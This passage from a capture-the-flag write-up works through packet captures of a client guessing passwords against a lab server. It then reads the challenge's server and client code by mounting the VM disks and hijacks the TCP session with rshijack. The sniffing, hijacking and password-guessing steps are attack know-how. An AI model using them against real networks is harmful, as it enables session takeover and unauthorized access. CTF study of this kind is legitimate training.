36716 11 1.045147271 192.168.54.151 → 192.168.54.150 TCP 74 35700 → 15850 [SYN] Seq=0 Win=29200 Len=0 MSS=1460 SACK_PERM=1 TSval=3318942463 TSecr=0 WS=128 35700 15850 12 1.045439731 192.168.54.150 → 192.168.54.151 TCP 74 15850 → 35700 [SYN, ACK] Seq=0 Ack=1 Win=28960 Len=0 MSS=1460 SACK_PERM=1 TSval=1043066985 TSecr=3318942463 WS=128 15850 35700 13 1.045933465 192.168.54.151 → 192.168.54.150 TCP 66 35700 → 15850 [ACK] Seq=1 Ack=1 Win=29312 Len=0 TSval=3318942465 TSecr=1043066985 35700 15850 14 5.063573683 PcsCompu_14:69:d5 → PcsCompu_f4:51:fa ARP 60 Who has 192.168.54.151? Tell 192.168.54.150 15 5.063997581 PcsCompu_f4:51:fa → PcsCompu_14:69:d5 ARP 60 192.168.54.151 is at 08:00:27:f4:51:fa 16 121.177132417 192.168.54.151 → 192.168.54.150 TCP 72 35700 → 15850 [PSH, ACK] Seq=1 Ack=1 Win=29312 Len=6 TSval=3319062535 TSecr=1043066985 35700 15850 17 121.177587403 192.168.54.150 → 192.168.54.151 TCP 66 15850 → 35700 [ACK] Seq=1 Ack=7 Win=29056 Len=0 TSval=1043187056 TSecr=3319062535 15850 35700 18 121.178018522 192.168.54.150 → 192.168.54.151 TCP 91 15850 → 35700 [PSH, ACK] Seq=1 Ack=7 Win=29056 Len=25 TSval=1043187057 TSecr=3319062535 15850 35700 19 121.178396954 192.168.54.151 → 192.168.54.150 TCP 66 35700 → 15850 [ACK] Seq=7 Ack=26 Win=29312 Len=0 TSval=3319062537 TSecr=1043187057 35700 15850 20 126.272890626 PcsCompu_f4:51:fa → PcsCompu_14:69:d5 ARP 60 Who has 192.168.54.150? Tell 192.168.54.151 21 126.273127272 PcsCompu_14:69:d5 → PcsCompu_f4:51:fa ARP 60 192.168.54.150 is at 08:00:27:14:69:d5 22 126.297370899 PcsCompu_14:69:d5 → PcsCompu_f4:51:fa ARP 60 Who has 192.168.54.151? Tell 192.168.54.150 23 126.297467854 PcsCompu_f4:51:fa → PcsCompu_14:69:d5 ARP 60 192.168.54.151 is at 08:00:27:f4:51:fa 24 241.318067318 192.168.54.151 → 192.168.54.150 TCP 74 35700 → 15850 [PSH, ACK] Seq=7 Ack=26 Win=29312 Len=8 TSval=3319182616 TSecr=1043187057 35700 15850 25 241.318842868 192.168.54.150 → 192.168.54.151 TCP 91 15850 → 35700 [PSH, ACK] Seq=26 Ack=15 Win=29056 Len=25 TSval=1043307138 TSecr=3319182616 15850 35700 26 241.320511830 192.168.54.151 → 192.168.54.150 TCP 66 35700 → 15850 [ACK] Seq=15 Ack=51 Win=29312 Len=0 TSval=3319182619 TSecr=1043307138 35700 15850 27 246.439909724 PcsCompu_f4:51:fa → PcsCompu_14:69:d5 ARP 60 Who has 192.168.54.150? Tell 192.168.54.151 28 246.440595748 PcsCompu_14:69:d5 → PcsCompu_f4:51:fa ARP 60 192.168.54.150 is at 08:00:27:14:69:d5 29 246.465037762 PcsCompu_14:69:d5 → PcsCompu_f4:51:fa ARP 60 Who has 192.168.54.151? Tell 192.168.54.150 30 246.465719604 PcsCompu_f4:51:fa → PcsCompu_14:69:d5 ARP 60 192.168.54.151 is at 08:00:27:f4:51:fa 31 361.482437470 192.168.54.151 → 192.168.54.150 TCP 74 35700 → 15850 [PSH, ACK] Seq=15 Ack=51 Win=29312 Len=8 TSval=3319302721 TSecr=1043307138 35700 15850 32 361.483256608 192.168.54.150 → 192.168.54.151 TCP 91 15850 → 35700 [PSH, ACK] Seq=51 Ack=23 Win=29056 Len=25 TSval=1043427242 TSecr=3319302721 15850 35700 33 361.484115437 192.168.54.151 → 192.168.54.150 TCP 66 35700 → 15850 [ACK] Seq=23 Ack=76 Win=29312 Len=0 TSval=3319302723 TSecr=1043427242 35700 15850 34 366.607010922 PcsCompu_f4:51:fa → PcsCompu_14:69:d5 ARP 60 Who has 192.168.54.150? Tell 192.168.54.151 35 366.607023914 PcsCompu_14:69:d5 → PcsCompu_f4:51:fa ARP 60 192.168.54.150 is at 08:00:27:14:69:d5 36 366.630833279 PcsCompu_14:69:d5 → PcsCompu_f4:51:fa ARP 60 Who has 192.168.54.151? Tell 192.168.54.150 37 366.631135125 PcsCompu_f4:51:fa → PcsCompu_14:69:d5 ARP 60 192.168.54.151 is at 08:00:27:f4:51:fa 38 481.646232022 192.168.54.151 → 192.168.54.150 TCP 72 35700 → 15850 [PSH, ACK] Seq=23 Ack=76 Win=29312 Len=6 TSval=3319422824 TSecr=1043427242 35700 15850 39 481.646731995 192.168.54.150 → 192.168.54.151 TCP 91 15850 → 35700 [PSH, ACK] Seq=76 Ack=29 Win=29056 Len=25 TSval=1043547346 TSecr=3319422824 15850 35700 40 481.647153247 192.168.54.151 → 192.168.54.150 TCP 66 35700 → 15850 [ACK] Seq=29 Ack=101 Win=29312 Len=0 TSval=3319422826 TSecr=1043547346 35700 15850 41 486.772498057 PcsCompu_f4:51:fa → PcsCompu_14:69:d5 ARP 60 Who has 192.168.54.150? Tell 192.168.54.151 42 486.774421458 PcsCompu_14:69:d5 → PcsCompu_f4:51:fa ARP 60 192.168.54.150 is at 08:00:27:14:69:d5 43 486.798472755 PcsCompu_14:69:d5 → PcsCompu_f4:51:fa ARP 60 Who has 192.168.54.151? Tell 192.168.54.150 44 486.798911741 PcsCompu_f4:51:fa → PcsCompu_14:69:d5 ARP 60 192.168.54.151 is at 08:00:27:f4:51:fa ``` What do we have here? The client (192.168.54.151) initiates a connection with the server (192.168.54.150) on port 11111 (packet #3-5). The server sends some data to the client (packet #6): ```console root@kali:/media/sf_CTFs/433/1N7ERCEP7U5/pcap# tshark -r traffic.pcapng -Y frame.number==6 -T json -e data.data [ { "_index": "packets-2019-02-18", "_type": "pcap_file", "_score": null, "_source": { "layers": { "data.data": ["c1:88:51:ba:99:ab:41:41:7e:05:56:a9:9b:6d:38:fb"] } } } ] ``` The server closes the connection (packets #7-9). Immediately after that, the client connects to a different port - 15850 (packets #11-13). This port is nowhere to be seen in the data received from the server. Then, every two minutes, the client sends data to the server and receives a response (#16-19, #24-26, etc.): ``` root@kali:/media/sf_CTFs/433/1N7ERCEP7U5/pcap# tshark -r traffic.pcapng -qz follow,tcp,ascii,1 =================================================================== Follow: tcp,ascii Filter: tcp.stream eq 1 Node 0: 192.168.54.151:35700 Node 1: 192.168.54.150:15850 6 123456 25 wrong password, try again 8 password 25 wrong password, try again 8 12345678 25 wrong password, try again 6 qwerty 25 wrong password, try again =================================================================== ``` We see that the client is trying to log in with different passwords, and the server is rejecting the passwords. Perhaps this is where the password from the JSON file fits in? So we just have to connect to the same port and send our password, no? Here's a Python script that will try to do that: ```python import socket TCP_IP = '192.168.54.150' TCP_PORT = 15850 BUFFER_SIZE = 1024 MESSAGE = "laeyobmsamlrdmyh" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TCP_IP, TCP_PORT)) s.send(MESSAGE) data = s.recv(BUFFER_SIZE) s.close() print "received data:", data ``` However, the server just ACKs the message, as seen in the following capture: ``` 1 0.000000000 192.168.54.151 → 192.168.54.150 TCP 73 35700 → 15850 [PSH, ACK] Seq=1 Ack=1 Win=229 Len=7 TSval=3320863856 TSecr=1044868275 35700 15850 2 0.000429219 192.168.54.150 → 192.168.54.151 TCP 91 15850 → 35700 [PSH, ACK] Seq=1 Ack=8 Win=227 Len=25 TSval=1044988377 TSecr=3320863856 15850 35700 3 0.001079105 192.168.54.151 → 192.168.54.150 TCP 66 35700 → 15850 [ACK] Seq=8 Ack=26 Win=229 Len=0 TSval=3320863857 TSecr=1044988377 35700 15850 4 5.161008116 PcsCompu_f4:51:fa → PcsCompu_14:69:d5 ARP 60 Who has 192.168.54.150? Tell 192.168.54.151 5 5.161636569 PcsCompu_14:69:d5 → PcsCompu_f4:51:fa ARP 60 192.168.54.150 is at 08:00:27:14:69:d5 6 5.187090877 PcsCompu_14:69:d5 → PcsCompu_f4:51:fa ARP 60 Who has 192.168.54.151? Tell 192.168.54.150 7 5.187526058 PcsCompu_f4:51:fa → PcsCompu_14:69:d5 ARP 60 192.168.54.151 is at 08:00:27:f4:51:fa 8 7.568105122 192.168.54.1 → 192.168.54.150 TCP 60 65218 → 15850 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0 65218 15850 9 7.682326812 192.168.54.1 → 192.168.54.150 TCP 66 65221 → 15850 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 WS=256 SACK_PERM=1 65221 15850 10 7.682508917 192.168.54.150 → 192.168.54.1 TCP 66 15850 → 65221 [SYN, ACK] Seq=0 Ack=1 Win=29200 Len=0 MSS=1460 SACK_PERM=1 WS=128 15850 65221 11 7.682648282 192.168.54.1 → 192.168.54.150 TCP 60 65221 → 15850 [ACK] Seq=1 Ack=1 Win=525568 Len=0 65221 15850 12 7.683109519 192.168.54.1 → 192.168.54.150 TCP 60 65221 → 15850 [PSH, ACK] Seq=1 Ack=1 Win=525568 Len=4 65221 15850 13 7.683112379 192.168.54.150 → 192.168.54.1 TCP 60 15850 → 65221 [ACK] Seq=1 Ack=5 Win=29312 Len=0 15850 65221 14 12.870963103 PcsCompu_14:69:d5 → 0a:00:27:00:00:0c ARP 60 Who has 192.168.54.1? Tell 192.168.54.150 15 12.870976254 0a:00:27:00:00:0c → PcsCompu_14:69:d5 ARP 60 192.168.54.1 is at 0a:00:27:00:00:0c ``` Packets 1-3 show the real client sending an incorrect password to the server (packet #2) and receiving a response that the password is invalid (packet #3). Packets 9-13 show the controller (IP: 192.168.54.1) establishing a TCP connection with the server, and sending the password (packet #12). The server just responds with an ACK (packet #13). One possible explanation would be that the server acts differently for incorrect and correct passwords, however repeating the experiment with an incorrect password still can't get the server to send any response. Another observation from running the flow multiple times is that each time, after connecting to port 11111 and receiving a 16-byte message from the server, the client connects to a different port. In the example, the client received a response of `c18851ba99ab41417e0556a99b6d38fb` and connected to port 15850. Other experiments showed the following results: ``` 7b74622e35280296ffc437b6fc5a2625 -> port 24321 c836c672c2a168780447189a2d949b9d -> port 21247 3074dd34f4ef97b1b8f73dcf4afabe13 -> port 20655 ``` The port was never part of the plaintext message, meaning that the client and server are agreeing on a port using some different kind of protocol. This means that we can't simply write a client that connects to 11111, receives the 16-byte buffer and then connects to the new port and sends the password, since we don't know what the new port will be. And since we can't connect to the new port after the real client has connected to it, we need a different way to attack this problem. I had two ideas as to how to proceed from this point: An easy way and a harder way. I started with the easy way... The easy way: We have two virtual machines, with two virtual hard drives. If we use each drive as a boot device, we boot to the operating systems like we saw before. What happens though if we just mount these HDs as secondary storage devices to an existing virtual machine? ![](images/vbox-hd.png) The answer is that we get direct access to the contents and can read any file we want! Notice how the client and the server print the following line when booting: ``` Restoring backup files from /mnt/sda1/tce/mydata.tgz ``` After booting to the controller, we start by listing the storage devices we have: ```console root@kali:/# fdisk -l | grep Disk Disk /dev/sda: 16 GiB, 17179869184 bytes, 33554432 sectors Disklabel type: dos Disk identifier: 0x034c7279 Disk /dev/sdb: 16 GiB, 17179869184 bytes, 33554432 sectors Disklabel type: dos Disk identifier: 0xc773fc5f Disk /dev/sdc: 5 GiB, 5368709120 bytes, 10485760 sectors Disklabel type: dos Disk identifier: 0x00000000 Disk /dev/sdd: 5 GiB, 5368709120 bytes, 10485760 sectors Disklabel type: dos Disk identifier: 0x00000000 ``` There are four disks. The first two are part of my regular setup, leaving `/dev/sdc` and `/dev/sdd` which are the two new devices. Let's mount them: ```console root@kali:/# mount /dev/sdc1 /mnt/m/ --read-only root@kali:/# cd /mnt/m root@kali:/mnt/m# ls lost+found tce root@kali:/mnt/m# ls tce boot firstrun mydata.tgz onboot.lst ondemand optional xwbar.lst root@kali:/mnt/m# tar -tvf tce/mydata.tgz drwxrwsr-x root/staff 0 2019-01-31 13:39 opt/ -rw-rw-r-- tc/staff 153 2019-01-31 13:39 opt/.filetool.lst -rwxr-xr-x root/staff 186 2019-01-24 16:02 opt/eth0.sh -rw-r--r-- tc/staff 23 2019-01-24 15:56 opt/.appbrowser -rw-rw-r-- root/staff 31 2019-01-24 15:55 opt/tcemirror -rw-rw-r-- root/staff 145 2018-03-19 13:06 opt/.xfiletool.lst -rwxr-xr-x root/staff 272 2018-03-19 13:06 opt/bootsync.sh -rwxr-xr-x root/staff 613 2018-03-19 13:06 opt/shutdown.sh -rwxr-xr-x root/staff 97 2019-01-24 20:07 opt/bootlocal.sh drwxrwsr-x root/staff 0 2019-01-24 15:52 opt/backgrounds/ drwxrwxr-x root/staff 0 2019-01-24 15:52 home/ drwxr-s--- tc/staff 0 2019-01-31 13:38 home/tc/ drwx--S--- tc/staff 0 2019-01-31 13:37 home/tc/.fltk/ drwx--S--- tc/staff 0 2019-01-31 13:37 home/tc/.fltk/fltk.org/ -rw-r--r-- tc/staff 94 2019-01-31 13:39 home/tc/.fltk/fltk.org/fltk.prefs -rw-r--r-- tc/staff 97 2019-01-24 16:06 home/tc/.fltk/fltk.org/filechooser.prefs lrwxrwxrwx root/staff 0 2019-01-31 13:37 home/tc/.wbar -> /usr/local/tce.icons -rwxr-xr-x tc/staff 275 2019-01-24 15:52 home/tc/.Xdefaults -rwxr-xr-x tc/staff 103 2019-01-24 15:52 home/tc/.setbackground -rwxr-xr-x tc/staff 450 2019-01-24 15:52 home/tc/.xsession -rw-r--r-- tc/staff 920 2018-03-19 13:06 home/tc/.profile -rw-rw-r-- tc/staff 1815 2019-01-31 13:39 home/tc/.ash_history -rw-r--r-- tc/staff 446 2018-03-19 13:06 home/tc/.ashrc -rwxrwxrwx tc/staff 95492 2019-01-24 18:30 home/tc/number.py -rwxrwxrwx tc/staff 420240 2019-01-27 20:20 home/tc/canudoit.zip -rwxrwxrwx tc/staff 4555 2019-01-31 13:38 home/tc/server.py -rwxrwxrwx tc/staff 0 2019-01-31 12:00 home/tc/flag.txt drwxr-s--- tc/staff 0 2019-01-24 15:52 home/tc/.local/ drwxr-s--- tc/staff 0 2019-01-24 15:52 home/tc/.local/bin/ drwxr-s--- tc/staff 0 2019-01-24 15:52 home/tc/.X.d/ -rw-rw---- root/staff 168 2019-01-24 15:53 etc/shadow -rwxr-xr-x root/staff 186 2019-01-24 16:02 opt/eth0.sh -rwxr-xr-x root/root 2432 2019-01-24 16:05 usr/local/lib/python2.7/site-packages/Crypto/pct_warnings.py -rw-r--r-- root/root 95492 2019-01-24 18:31 usr/local/lib/python2.7/site-packages/Crypto/Util/number.py ``` We can copy `mydata.tgz` to our local filesystem, extract it and inspect the interesting files. Then we should unmount the filesystem using `umount /mnt/m`. For the server, the interesting files are `canudoit.zip` (we'll get to that much later) and `server.py`: ```python import socket import sys import random import os import time import hashlib from time import sleep from Crypto.Cipher import AES def commands(comm): comm_decoded = comm.decode('UTF-8') if comm.isdigit(): return str(comm_decoded) elif comm_decoded == 'whoami': return 'LUKE, I am your father!' elif comm_decoded == 'ls': ls = "420240 canudoit.zip\n" ls += "4096 Downloads\n" ls += "4096 Home\n" ls += "4096 Public" return ls elif comm_decoded == 'time': return 'It\'s time to say GOODBYE!' elif comm_decoded == 'downloadfile canudoit.zip': return 'send zip' elif comm_decoded == 'get key': key = "AES\n" key += "key=4dJhvjFRn2oXraty\n" key += "iv=1234567890123456\n" key += "MODE_CBC\n" return key elif comm_decoded == 'get flag': g = open('/home/tc/flag.txt', 'r+') k = g.read(1024) if k == '': md5f = hashlib.md5("bazinga").hexdigest() nflag = random.randint(10000, 99999) flag = '' n = 0 for i in str(nflag): flag += md5f[int(i)] flag += str(nflag)[n] n += 1 g.write(flag) else: flag = k g.close() return "your flag is: " + flag elif comm_decoded == 'help': return 'I really want to help you, but I hate get COMMANDS!' elif comm_decoded == 'quit': return 'ok, bye' else: return 'I can\'t understand you!' BS = 16 pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS) unpad = lambda s: s[0:-ord(s[-1])] server_ip = "192.168.54.150" # Create a TCP/IP socket sockfirst = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Bind the socket to the port server_address = (server_ip, 11111) print >>sys.stderr, 'starting up on %s port %s' % server_address sockfirst.bind(server_address) # Listen for incoming connections sockfirst.listen(1) # Wait for a connection #print >>sys.stderr, 'waiting for a connection' connection_f, client_address_f = sockfirst.accept() try: #print >> sys.stderr, 'connection from', client_address_f main_port = random.randint(1024, 65535) mport = str(main_port).encode('utf-8') encryption_suite = AES.new('4dJhvjFRn2oXraty', AES.MODE_CBC, '1234567890123456') raw = pad(mport) encrypted = encryption_suite.encrypt(raw) #print(str(encrypted)) connection_f.sendall(encrypted) finally: connection_f.close() sock_main = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Bind the socket to the port server_address_m = (server_ip, main_port) #print >> sys.stderr, 'starting up on %s port %s' % server_address_m sock_main.bind(server_address_m) # Listen for incoming connections sock_main.listen(1) # Wait for a connection #print >>sys.stderr, 'waiting for a connection' timeout = time.time() + 3 connection_m, client_address_m = sock_main.accept() # check if the time pass if time.time() > timeout: connection_m.close() print ('connection timeout') try: #print >> sys.stderr, 'connection from', client_address_m data = connection_m.recv(4098) #print >> sys.stderr, 'received "%s"' % data password = 'laeyobmsamlrdmyh' # Get in loop while data != password: connection_m.sendall('wrong password, try again') data = connection_m.recv(4098) #print >> sys.stderr, 'received "%s"' % data while data: connection_m.sendall('ok') #print('welcome') # get first command data = connection_m.recv(4098) res = 0 while data != 'quit': # get commands #print >> sys.stderr, 'received "%s"' % data cmd = data.rstrip('\n') res = commands(cmd) connection_m.send(res) if res == 'send zip': f = open('/home/tc/canudoit.zip', 'rb') f.seek(0) l = f.read(1024) while (l): connection_m.send(l) l = f.read(1024) f.close() #print >> sys.stderr, 'Done sending' #print('wait to client') # wait for next command data = connection_m.recv(4098) #print >> sys.stderr, 'bye' break #print >> sys.stderr, 'no more data from', client_address_m finally: # Clean up the connection #print >> sys.stderr, 'closing socket' connection_m.close() ``` For the client, we have a file called `passwords.txt` with 8MB worth of passwords, and `client.py`: ```python import socket import sys import time from Crypto.Cipher import AES BS = 16 pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS) unpad = lambda s: s[0:-ord(s[-1])] # read all the passwords lines = [line.rstrip() for line in open('home/tc/passwords.txt')] # Create a TCP/IP socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_ip = "192.168.54.150" # Connect the socket to the port where the server is listening server_address = (server_ip, 11111) res = sock.connect_ex(server_address) while res != 0: res = sock.connect_ex(server_address) print >>sys.stderr, 'connecting to %s port %s' % server_address try: dport = sock.recv(1024) #print >> sys.stderr, 'the encrypted port %s' % dport decryption_suite = AES.new('4dJhvjFRn2oXraty', AES.MODE_CBC, '1234567890123456') new_port = decryption_suite.decrypt(dport) #print >> sys.stderr, 'the new port %s' % new_port finally: sock.close() time.sleep(1) # Create the NEW TCP/IP socket sock_new = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Connect the socket to the port where the server is listening server_address_new = (server_ip, int(new_port)) res1 = sock_new.connect_ex(server_address_new) while res1 != 0: res1 = sock_new.connect_ex(server_address_new) #print >>sys.stderr, 'connecting to %s port %s' % server_address_new try: for line in lines: time.sleep(120) # Send data #print >> sys.stderr, 'sending "%s"' % line # print 'the sent password is ' + repr(line) sock_new.sendall(line) # receive ack data = sock_new.recv(128) if data == 'ok': break # get in to server #print >> sys.stderr, 'received "%s"\n' % data #print >> sys.stderr, 'password ok, what do you want to do?\n' cmd = raw_input('> ') answer = '' while cmd != 'quit': sock_new.sendall(cmd) answer = sock_new.recv(1024) #print >> sys.stderr, '%s ' % answer if answer == 'send zip': file_size = 420240 #print(file_size) with open('received_file', 'wb') as f: #print ('file opened') total = 0 while total != file_size: dat = sock_new.recv(1024) f.write(dat) total += len(dat) #print >> sys.stderr, 'get the file' cmd = raw_input('> ') # for quit if answer != 'send zip' or answer != 'send txt': sock_new.sendall(cmd) finally: #print >> sys.stderr, 'closing socket' sock_new.close() ``` Now that we've finished cheating, we can go back to solve the challenge using the harder (and intended) method. In order to do that, we need to perform an attack called "TCP Hijacking". A nice and short explanation of the method we will use can be found [here](https://raw.githubusercontent.com/offensive-security/exploitdb-papers/master/papers/english/13587-tcp-session-hijacking.txt). The most important part of the explanation is: > At the establishment of a TCP session the client starts by sending a SYN-packet with a sequence number. This number is used to assure the transmission of packets in a chronological order. It is increased by one with each packet. Both sides of the connection wait for a packet with a specified sequence number. The first seq-number for both directions is random. > > The server responds with an SYN/ACK packet which contains the seq-number of the client+1 and also its own start seq-number. The client confirms everything with an ACK packet including the seq-number of the server+1, and after that the session is established. > > To hijack a session it is required to send a packet with a right seq-number, otherwise they are dropped. So, since we are sitting on the same network as the client and the server, we are able to easily sniff the traffic between them and capture the correct sequence number. We even have a 2 minute delay between every message. The article describes a tool named `shijack` that can be used to programmatically hijack a TCP session. I used a fork called [rshijack ](https://github.com/kpcyrd/rshijack). The flow is as follows: 1. We start the server and the client and have them negotiate a connection. 2. We start `rshijack` and supply it with the details of the connection, acquired from sniffing the communication between the client and the server. 3. `rshijack` listens to the network, and when the next communication between the client and the server occurs, takes note of the sequence numbers. 4. `rshijack` informs us that it is now possible to hijack the session. 5. We can send and receive data using the client's session. 6. If the client sends another message, it will be discarded since the sequence numbers will be out of sync. Here's a network capture showing this in action: ``` 1 0.000000000 0.0.0.0 → 255.255.255.255 DHCP 342 DHCP Discover - Transaction ID 0x4acdf14f 68 67 2 0.000017537 192.168.54.2 → 255.255.255.255 DHCP 590 DHCP Offer - Transaction ID 0x4acdf14f 67 68 3 0.000349474 0.0.0.0 → 255.255.255.255 DHCP 342 DHCP Request - Transaction ID 0x4acdf14f 68 67 4 0.000356132 192.168.54.2 → 255.255.255.255 DHCP 590 DHCP ACK - Transaction ID 0x4acdf14f 67 68 5 2.114698229 PcsCompu_f4:51:fa → Broadcast ARP 60 Who has 192.168.54.150? Tell 192.168.54.152 6 2.114829777 PcsCompu_14:69:d5 → PcsCompu_f4:51:fa ARP 60 192.168.54.150 is at 08:00:27:14:69:d5 7 2.114924911 192.168.54.152 → 192.168.54.150 TCP 74 43482 → 11111 [SYN] Seq=0 Win=29200 Len=0 MSS=1460 SACK_PERM=1 TSval=3333668464 TSecr=0 WS=128 43482 11111 8 2.115083143 192.168.54.150 → 192.168.54.152 TCP 74 11111 → 43482 [SYN, ACK] Seq=0 Ack=1 Win=28960 Len=0 MSS=1460 SACK_PERM=1 TSval=2886436575 TSecr=3333668464 WS=128 11111 43482 9 2.115192155 192.168.54.152 → 192.168.54.150 TCP 66 43482 → 11111 [ACK] Seq=1 Ack=1 Win=29312 Len=0 TSval=3333668464 TSecr=2886436575 43482 11111 10 2.151619087 192.168.54.150 → 192.168.54.152 TCP 82 11111 → 43482 [PSH, ACK] Seq=1 Ack=1 Win=29056 Len=16 TSval=2886436611 TSecr=3333668464 11111 43482 11 2.151864567 192.168.54.150 → 192.168.54.152 TCP 66 11111 → 43482 [FIN, ACK] Seq=17 Ack=1 Win=29056 Len=0 TSval=2886436611 TSecr=3333668464 11111 43482 12 2.151874547 192.168.54.152 → 192.168.54.150 TCP 66 43482 → 11111 [ACK] Seq=1 Ack=17 Win=29312 Len=0 TSval=3333668501 TSecr=2886436611 43482 11111 13 2.152558680 192.168.54.152 → 192.168.54.150 TCP 66 43482 → 11111 [FIN, ACK] Seq=1 Ack=18 Win=29312 Len=0 TSval=3333668502 TSecr=2886436611 43482 11111 14 2.152808053 192.168.54.150 → 192.168.54.152 TCP 66 11111 → 43482 [ACK] Seq=18 Ack=2 Win=29056 Len=0 TSval=2886436612 TSecr=3333668502 11111 43482 15 3.154792038 192.168.54.152 → 192.168.54.150 TCP 74 57984 → 39926 [SYN] Seq=0 Win=29200 Len=0 MSS=1460 SACK_PERM=1 TSval=3333669503 TSecr=0 WS=128 57984 39926 16 3.155093303 192.168.54.150 → 192.168.54.152 TCP 74 39926 → 57984 [SYN, ACK] Seq=0 Ack=1 Win=28960 Len=0 MSS=1460 SACK_PERM=1 TSval=2886437614 TSecr=3333669503 WS=128 39926 57984 17 3.155649477 192.168.54.152 → 192.168.54.150 TCP 66 57984 → 39926 [ACK] Seq=1 Ack=1 Win=29312 Len=0 TSval=3333669504 TSecr=2886437614 57984 39926 18 7.268410598 PcsCompu_14:69:d5 → PcsCompu_f4:51:fa ARP 60 Who has 192.168.54.152? Tell 192.168.54.150 19 7.268428814 PcsCompu_f4:51:fa → PcsCompu_14:69:d5 ARP 60 192.168.54.152 is at 08:00:27:f4:51:fa 20 123.313916910 192.168.54.152 → 192.168.54.150 TCP 72 57984 → 39926 [PSH, ACK] Seq=1 Ack=1 Win=29312 Len=6 TSval=3333789602 TSecr=2886437614 57984 39926 21 123.314325741 192.168.54.150 → 192.168.54.152 TCP 66 39926 → 57984 [ACK] Seq=1 Ack=7 Win=29056 Len=0 TSval=2886557713 TSecr=3333789602 39926 57984 22 123.314751724 192.168.54.150 → 192.168.54.152 TCP 91 39926 → 57984 [PSH, ACK] Seq=1 Ack=7 Win=29056 Len=25 TSval=2886557714 TSecr=3333789602 39926 57984 23 123.314960167 192.168.54.152 → 192.168.54.150 TCP 66 57984 → 39926 [ACK] Seq=7 Ack=26 Win=29312 Len=0 TSval=3333789603 TSecr=2886557714 57984 39926 24 128.329985600 PcsCompu_f4:51:fa → PcsCompu_14:69:d5 ARP 60 Who has 192.168.54.150? Tell 192.168.54.152 25 128.330472730 PcsCompu_14:69:d5 → PcsCompu_f4:51:fa ARP 60 192.168.54.150 is at 08:00:27:14:69:d5 26 128.501174650 PcsCompu_14:69:d5 → PcsCompu_f4:51:fa ARP 60 Who has 192.168.54.152? Tell 192.168.54.150 27 128.501687444 PcsCompu_f4:51:fa → PcsCompu_14:69:d5 ARP 60 192.168.54.152 is at 08:00:27:f4:51:fa 28 243.476143508 192.168.54.152 → 192.168.54.150 TCP 74 57984 → 39926 [PSH, ACK] Seq=7 Ack=26 Win=29312 Len=8 TSval=3333909704 TSecr=2886557714 57984 39926 29 243.477067034 192.168.54.150 → 192.168.54.152 TCP 91 39926 → 57984 [PSH, ACK] Seq=26 Ack=15 Win=29056 Len=25 TSval=2886677816 TSecr=3333909704 39926 57984 30 243.477597432 192.168.54.152 → 192.168.54.150 TCP 66 57984 → 39926 [ACK] Seq=15 Ack=51 Win=29312 Len=0 TSval=3333909706 TSecr=2886677816 57984 39926 31 248.496005010 PcsCompu_f4:51:fa → PcsCompu_14:69:d5 ARP 60 Who has 192.168.54.150? Tell 192.168.54.152 32 248.496615046 PcsCompu_14:69:d5 → PcsCompu_f4:51:fa ARP 60 192.168.54.150 is at 08:00:27:14:69:d5 33 248.667899654 PcsCompu_14:69:d5 → PcsCompu_f4:51:fa ARP 60 Who has 192.168.54.152? Tell 192.168.54.150 34 248.668385065 PcsCompu_f4:51:fa → PcsCompu_14:69:d5 ARP 60 192.168.54.152 is at 08:00:27:f4:51:fa 35 248.719714824 PcsCompu_17:82:1b → Broadcast ARP 42 Who has 192.168.54.150? Tell 192.168.54.151 36 248.720002615 PcsCompu_14:69:d5 → PcsCompu_17:82:1b ARP 60 192.168.54.150 is at 08:00:27:14:69:d5 37 248.720013970 192.168.54.152 → 192.168.54.150 TCP 61 57984 → 39926 [PSH, ACK] Seq=15 Ack=26 Win=896 Len=7 57984 39926 38 248.720439151 192.168.54.150 → 192.168.54.152 TCP 91 39926 → 57984 [PSH, ACK] Seq=51 Ack=22 Win=29056 Len=25 TSval=2886683057 TSecr=3333909706 39926 57984 39 248.720584380 192.168.54.152 → 192.168.54.150 TCP 54 57984 → 39926 [ACK] Seq=22 Ack=76 Win=512 Len=0 57984 39926 40 256.595908536 192.168.54.152 → 192.168.54.150 TCP 61 57984 → 39926 [PSH, ACK] Seq=22 Ack=76 Win=896 Len=7 57984 39926 41 256.596447979 192.168.54.150 → 192.168.54.152 TCP 91 39926 → 57984 [PSH, ACK] Seq=76 Ack=29 Win=29056 Len=25 TSval=2886690929 TSecr=3333909706 39926 57984 42 256.596591244 192.168.54.152 → 192.168.54.150 TCP 54 57984 → 39926 [ACK] Seq=29 Ack=101 Win=512 Len=0 57984 39926 43 262.982958681 192.168.54.152 → 192.168.54.150 TCP 71 57984 → 39926 [PSH, ACK] Seq=29 Ack=101 Win=2176 Len=17 57984 39926 44 262.983434593 192.168.54.150 → 192.168.54.152 TCP 91 39926 → 57984 [PSH, ACK] Seq=101 Ack=46 Win=29056 Len=25 TSval=2886697313 TSecr=3333909706 39926 57984 45 262.983582911 192.168.54.152 → 192.168.54.150 TCP 54 57984 → 39926 [ACK] Seq=46 Ack=126 Win=512 Len=0 57984 39926 46 266.088766267 192.168.54.152 → 192.168.54.150 TCP 71 57984 → 39926 [PSH, ACK] Seq=46 Ack=126 Win=2176 Len=17 57984 39926 47 266.089186727 192.168.54.150 → 192.168.54.152 TCP 91 39926 → 57984 [PSH, ACK] Seq=126 Ack=63 Win=29056 Len=25 TSval=2886700417 TSecr=3333909706 39926 57984 48 266.089341078 192.168.54.152 → 192.168.54.150 TCP 54 57984 → 39926 [ACK] Seq=63 Ack=151 Win=512 Len=0 57984 39926 49 272.732277709 192.168.54.152 → 192.168.54.150 TCP 61 57984 → 39926 [PSH, ACK] Seq=63 Ack=151 Win=896 Len=7 57984 39926 50 272.732753440 192.168.54.150 → 192.168.54.152 TCP 91 39926 → 57984 [PSH, ACK] Seq=151 Ack=70 Win=29056 Len=25 TSval=2886707057 TSecr=3333909706 39926 57984 51 272.732912549 192.168.54.152 → 192.168.54.150 TCP 54 57984 → 39926 [ACK] Seq=70 Ack=176 Win=512 Len=0 57984 39926 52 275.949361947 192.168.54.152 → 192.168.54.150 TCP 71 57984 → 39926 [PSH, ACK] Seq=70 Ack=176 Win=2176 Len=17 57984 39926 53 